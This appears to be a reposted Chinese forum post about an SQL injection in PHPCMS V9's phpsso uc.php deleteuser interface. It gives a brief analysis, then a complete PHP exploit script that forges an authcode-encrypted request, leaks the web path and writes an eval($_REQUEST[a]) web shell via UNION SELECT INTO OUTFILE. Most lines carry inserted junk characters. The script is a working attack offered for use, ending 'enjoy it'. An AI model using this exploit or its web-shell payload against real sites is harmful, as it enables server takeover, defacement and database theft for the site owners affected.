PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。( M- [) ?+ k& O) s; |6 F$ i
# P5 K# Y8 z9 m& N: d5 v所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
8 F: [1 p, H' L9 h/ Q0 J V& E1 r" T
漏洞分析:
) [) }/ |: s' F0 J8 A" Y: Z% Y' d1.未启用ucenter服务的情况下uc_key为空
4 Q, n7 d- ^% q3 V6 @# cdefine('UC_KEY', pc_base::load_config('system', 'uc_key'));
" s5 d" q" l( y2 p# V2 N# e6 R2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
6 m) A4 {% X! n9 v$ z' d2 l6 ? X public function deleteuser($get,$post) {
% U; i% y: n1 k6 I pc_base::load_app_func('global', 'admin');
+ k/ T, c8 s* q h( ~& \7 ~8 n pc_base::load_app_class('messagequeue', 'admin' , 0);$ j4 Z K* y+ v7 S. {. U' b. s
$ids = new_stripslashes($get['ids']);$ d0 J$ @& V/ r$ K
$s = $this->member_db->select("ucuserid in ($ids)", "uid");& v5 x7 e, b$ X
SQL语句为# D& z, {- ?$ o8 ^
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)* ?# f6 V: q1 K8 Y
6 j( d1 ~7 i; @& R8 u
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell+ o5 L P; e% V
<?php
. b7 A) w2 l7 T6 m. [: N! ]: Yprint_r('+ u- O% m# G: D: e, a
---------------------------------------------------------------------------
7 F+ t7 @5 z* y! h0 g, y- K" E( FPHPcms (v9 or Old Version) uc api sql injection 0day
/ \' k3 [: p8 r* g/ uby rayh4c#80sec.com
5 g3 y, v5 i* W1 G( c' O---------------------------------------------------------------------------
8 h+ h/ } p9 Y' U" K" V: W');' E' X- v' X1 p+ H# }
5 e3 ?1 i" y* U4 x8 b) C2 Iif ($argc<3) {
4 p; f/ l' X; Z print_r('
6 q }0 d. I- O0 G# W* o, A---------------------------------------------------------------------------* P: j& t3 m$ u% D; l, ~/ H
Usage: php '.$argv[0].' host path OPTIONS
- Z% i, X/ G3 ~, A- Chost: target server (ip/hostname)
- T Y1 q% [7 P0 spath: path to phpcms
) y# v+ A# J- b# B" K4 K& FOptions:
- @( q2 q3 \$ w7 G. _; i -p[port]: specify a port other than 80
& `( c, }# x/ q! _4 p1 B -P[ip:port]: specify a proxy
0 ^6 ~. l+ M, a3 R! v! |Example:
' r9 s! z M3 l' z5 k2 f. mphp '.$argv[0].' localhost /$ T( h( \. t; k8 `5 u& L
php '.$argv[0].' localhost /phpcms/ -p81- Q( d9 M& O5 V' Z- L* d. |
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
3 ~. L8 w/ W( w---------------------------------------------------------------------------
! Y g/ \; }$ E, F2 S& x4 p- T');
! M. ^3 C6 o( f" A: g die;
0 k! [ `! k0 C* x' m}
3 h3 P8 A/ }+ r4 V9 ~/ j. V, v! c
0 v ~$ n" y- e/ \6 a- T1 r. @' ierror_reporting(7);# M8 j- @# |9 ~7 F9 e4 ]
ini_set("max_execution_time",0);- o7 x r! S* P4 P: _* l
ini_set("default_socket_timeout",5);
& P8 A) @0 q& Z5 F5 T% Y: K. I' B2 d, V+ q9 ?, k0 t
function quick_dump($string)
- C3 B2 W9 t9 `5 D{& |: @4 n. H+ v1 Q
$result='';$exa='';$cont=0;- ^% A& ^: r, ?
for ($i=0; $i<=strlen($string)-1; $i++) \% G r4 _5 A
{7 u5 g1 [- `8 d* k! ^' {# i9 o
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))1 N% S4 ~$ I" r6 U5 z7 ]1 p
{$result.=" .";}
4 ]8 ?7 y$ k# z; V! j# k else" t# Z5 F6 H- S: Q- }
{$result.=" ".$string[$i];}$ `7 w1 F& j; ~; f2 [4 R/ u
if (strlen(dechex(ord($string[$i])))==2)
H8 n! I8 ]2 U& X3 C+ r" O4 X/ v {$exa.=" ".dechex(ord($string[$i]));}3 b3 g6 C7 S6 l( H
else
" z- f- H7 P( A! @' Y- W {$exa.=" 0".dechex(ord($string[$i]));}8 H' i4 n* f- q
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}( G' q7 g. _" p2 Q4 B0 J: q- O
}2 }# J( c: w- E0 z7 \# `0 e( |
return $exa."\r\n".$result;& z2 h# c/ a) ]: y- c" p; |5 a
}
8 g' o& y0 U3 U' C' d- J$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
/ z4 g( B$ o' ]) u) p8 j$ j3 n3 K' J+ a+ t" k
function send($packet)& E8 A# p' ^) m, u* Y e
{4 r( a6 N9 a6 f0 U
global $proxy, $host, $port, $html, $proxy_regex;7 `$ y1 y5 s- E
if ($proxy=='') {
3 U8 F6 b% ?' j" y) T# u $ock=fsockopen(gethostbyname($host),$port);
/ y. E$ {0 |, T B if (!$ock) {
/ ]2 i @ X# O# k: ^; Q$ E7 a* G( U1 i echo 'No response from '.$host.':'.$port; die;
$ Y$ A, @: A! x+ D2 R/ W }7 I* E# @0 X$ R' `2 Y
}
' h3 _: U5 C6 n8 y; O else {
* d; z' V' w( b9 n% X- p& g $c = preg_match($proxy_regex,$proxy);
; B2 m" W1 I+ J' ^' L if (!$c) {" N( h/ Y2 R9 M, V5 b3 x
echo 'Not a valid proxy...';die;
. \, E b- n( x9 _0 {5 ~- S }1 ?2 q# @, Y; F$ t* O
$parts=explode(':',$proxy);
5 g% t% L4 i; w! l $parts[1]=(int)$parts[1];. o+ c3 u6 T; O. |+ s
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";) A# ?. T3 Q) M0 b8 G& _
$ock=fsockopen($parts[0],$parts[1]); {- Q* u* h' X/ D) D% e
if (!$ock) {3 c$ ?9 z- f! i) w" m# r
echo 'No response from proxy...';die;
. A& P' L, |+ h# V! E }+ K8 t, T d9 i$ _
}+ ^% N+ |3 Y2 N' o; h# X4 }
fputs($ock,$packet);
5 U" k' O% V0 Z. q if ($proxy=='') {8 f2 k; w7 ^3 p; U- d
$html='';
# X7 a/ {. J0 y: a; ~+ W while (!feof($ock)) {; n7 E) L4 p7 L* j5 o1 E
$html.=fgets($ock);& r7 G" m; t$ G: ?
}
# G R, ], ^+ `4 p! o# k }
9 G7 L+ k. Q' b) y else {, T5 n( G- o: t5 y! L! M$ Q
$html='';
4 L6 L$ d% p; ]" [ while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
( T% F2 c1 w$ t% |8 p $html.=fread($ock,1);
2 v0 s+ ?; T7 v# K2 i }
$ C3 h- ]! b9 H# I }
5 P2 [. r( B% _. I% b fclose($ock);
; |! O/ }# I7 P}
) |; \9 x* {- J; ^
( W9 K) ]4 X, H( g" p& \( W2 J$host=$argv[1];& {. R: V6 U$ S1 q; {4 O
$path=$argv[2];
' I! O/ l( m% r+ i& c$port=80;
, n2 n: e3 g" _& n' K' I$proxy="";
6 W6 p" P. A5 C# F% J; nfor ($i=3; $i<$argc; $i++){
. r) l) M" p( e# [% j d3 o$temp=$argv[$i][0].$argv[$i][1];
- i# M/ Q6 C" Sif ($temp=="-p")
) f6 C. W. Q% g{
& d" Z& w- \3 @# `1 @, S $port=(int)str_replace("-p","",$argv[$i]);7 b! k( G4 M8 f4 j7 e
}% c4 B) D$ C, K# T. R* c
if ($temp=="-P")0 [+ q# J) @/ W2 Y9 `
{) \6 c3 _+ O# Z* C
$proxy=str_replace("-P","",$argv[$i]);+ ]9 b0 n: e% J, E3 M
}: ] v( V/ o% d/ G6 |
}
2 w8 g; o1 A4 l: Q: }+ h0 }
. V1 t$ V- k4 h5 lif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
# H5 E z- t8 I9 n9 J* pif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
. o. x# H8 S& B1 p) t
% F! Z* P, U7 j2 N+ B8 ~# X2 P) Gfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
7 P8 G8 Z) f N- E# [ e
7 E' j1 x/ B3 Q; r $ckey_length = 4;
" e% q* X$ w' l o" E$ B
Y/ f) j) P9 v9 B" E+ i $key = md5($key ? $key : '');8 i+ m7 }: A2 h$ F$ v
$keya = md5(substr($key, 0, 16));
) ~- t0 _7 g- B: x $keyb = md5(substr($key, 16, 16));# x0 L D+ ]& o0 Y5 ^( A6 k% [
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';$ k" q' d: [# d# r1 ]1 f5 u
/ `* m' V0 `+ [9 x1 _ $cryptkey = $keya.md5($keya.$keyc);
( [) v! p3 T! P4 p $key_length = strlen($cryptkey);
8 z! C/ ]2 k' C( S' M/ H0 c) X6 w2 |* v& @
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;% E( m3 m0 p4 `* Q
$string_length = strlen($string);1 r9 F+ }2 _5 O$ Z
5 i/ V5 A e3 @7 P* g $result = '';2 M# k. s4 q9 M1 C' ?
$box = range(0, 255);. q+ a! I, S" Q+ i8 z8 g/ _
6 y" ^: h& m; S& p+ W $rndkey = array();
5 v" ^' d0 I% i' y3 i z1 D! J for($i = 0; $i <= 255; $i++) {1 o: g# Z2 x+ q: g0 K/ k. d
$rndkey[$i] = ord($cryptkey[$i % $key_length]);$ H2 T" H- _3 f4 \+ F& a
}: `6 p# T5 b0 _$ C0 H( I3 V
. A% f; }1 H2 d! V. [% W: Q for($j = $i = 0; $i < 256; $i++) {
# ]. ?% Z- l6 K' t; k% \9 x $j = ($j + $box[$i] + $rndkey[$i]) % 256;
# J% O: _; C$ Z: G e% y+ J $tmp = $box[$i];
1 Z8 o! w9 V$ \( N $box[$i] = $box[$j];, l) l: A$ ^6 M
$box[$j] = $tmp;, M7 U% a% B2 w' j1 w2 z, F5 [
}: ~. ^1 C$ r- q
# u0 \4 @0 G# a0 f- |$ I
for($a = $j = $i = 0; $i < $string_length; $i++) {; r, L/ w( M& a+ b
$a = ($a + 1) % 256;$ J0 U. ]* X& Q5 A
$j = ($j + $box[$a]) % 256;! X( u N$ ~+ C
$tmp = $box[$a];1 l' ^6 \$ P; n' Q0 u$ k
$box[$a] = $box[$j];. V, u+ N. u; u* ^
$box[$j] = $tmp;
+ B1 Q" _& w5 j8 j5 t $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
0 g$ _1 X: o9 N0 _. {, p/ X/ Y% `9 g3 n }4 p6 J( j' H+ v2 w
# H- s( j/ |# d) e* v5 Y* a( g9 Z
if($operation == 'DECODE') {& ]5 T- u) A9 g7 o7 K5 k0 ^
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {0 {. d; t; Y% \& v4 k- r
return substr($result, 26);5 e8 L2 S$ d# F/ o/ T
} else {
9 O/ f D+ [' e return '';
% c) z, T |7 W }
1 O. \% `7 M) J } else {
Z) x) O' B1 Q5 q return $keyc.str_replace('=', '', base64_encode($result));
# E# W! L( X: ~1 n }
, U3 t1 h' h) T! B, G7 C y- L. P0 D. f& e
}( s3 T; p c( V; U i
$ v! w, N, S* ?' d! a$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";# J+ d* p0 T& P) M1 A$ B/ {
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
( k- R) X3 |9 [" b* H) M2 techo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
% u0 k7 \. j# d1 } |3 s0 l1 n' u$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
; W% H/ _$ @" `3 P. ~1 n$packet.="User-Agent: Mozilla/5.0\r\n";7 \) ?: \4 V( S: m. B; L
$packet.="Host: ".$host."\r\n";: S& u# a% o6 x6 @0 j+ M) ^" _
$packet.="Connection: Close\r\n\r\n";
" R8 k" h% }5 z4 Usend($packet);
) K4 }" h# n$ R* qif(strpos($html,"MySQL Errno") > 0){
# ]! V+ Y& Q7 K) r; ?# ]echo "[2] 发现存在SQL注入漏洞"."\n";& X! V8 s0 `* K0 d' O9 F0 ?
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";" C4 z z3 l) g. E2 M# s
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
1 @; `0 F: Z7 w$packet.="User-Agent: Mozilla/5.0\r\n";
/ d* H% z) ^3 o3 M, K% G A$packet.="Host: ".$host."\r\n";
5 f/ H# c$ Q& j7 x; x R3 v$packet.="Connection: Close\r\n\r\n";) r$ i; z4 h; m6 |/ U9 Z' y# M8 \
send($packet);
) \1 M4 k. Q7 I7 _preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);. o+ U' Y$ c0 x- q, {3 ^$ g
//print_r($matches);
: O; m T7 n U" Kif(!empty($matches)){
2 K8 g1 \) t+ k1 Y; R5 q; S1 k3 Recho "[4] 得到web路径 " . $matches[0]."\n";. K$ k+ F1 i6 I% G. x& o6 U
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";9 A) n! ` T9 k% b6 U
$SQL = "time=999999999999999999999999&ids=1)";
6 K' }6 ?9 k* M; V$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
5 U1 e6 r! D, Y1 _$SQL.="&action=deleteuser";, R p$ h8 r4 r! @
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
: o% p2 J% {/ I0 R6 f: kecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
. r* Z2 P* P( S) S$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";3 N* n# I; j$ q
$packet.="User-Agent: Mozilla/5.0\r\n";' n9 V* c' k$ o, M
$packet.="Host: ".$host."\r\n";% J' ^% K4 E/ Q: j( Q% f( j
$packet.="Connection: Close\r\n\r\n";9 ~$ }7 ^4 ]. T8 a- I& E; O
send($packet);
8 O' P7 _) n) L; F, K/ E! Rif(strpos($html,"Access denied") > 0){2 n; q( f) n1 m' S3 U
echo "[-] MYSQL权限过低 禁止写入文件 ";
, y7 ^4 E6 V; m: k7 E3 K# {die;% F+ u4 D% x- m8 W
}. D5 ^& h1 m2 @, N6 Y; `
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
' @4 C! {& m# \, j( Y" P; @$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
' w1 w) S1 F m& R$packet.="User-Agent: Mozilla/5.0\r\n";- }; `( p- Q9 K1 v' d' Y" P
$packet.="Host: ".$host."\r\n";
) K! z6 ^ ?; Y% B' W. k$packet.="Connection: Close\r\n\r\n";9 \! s9 g; {( C1 A: C9 z1 H" B! J
send($packet);! j( k- A" O0 W, U( \4 f, v5 @
if(strpos($html,"<title>phpinfo()</title>") > 0){2 D( A) ?4 \7 ~- c" D1 U
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
, H7 x2 h/ E$ l, t; P- L7 g}
- j( e' D3 s7 s4 s* f}else{9 F/ r( Y! A* a D7 K- A) j) m- U
echo "[-]未取到web路径 ";* k+ y6 Q( R' R' c% I5 M& R
}2 p q6 c2 j) C
}else{
0 V4 h9 a) A! B5 n; yecho "[*]不存在SQL注入漏洞"."\n";
3 B6 B, {* }) n" b% `! p9 r}; P) l8 z d/ ]" a2 }4 T$ F
4 ^" F5 Z% N, C3 p
?>
" i+ s) I. ^; D0 `+ E, g |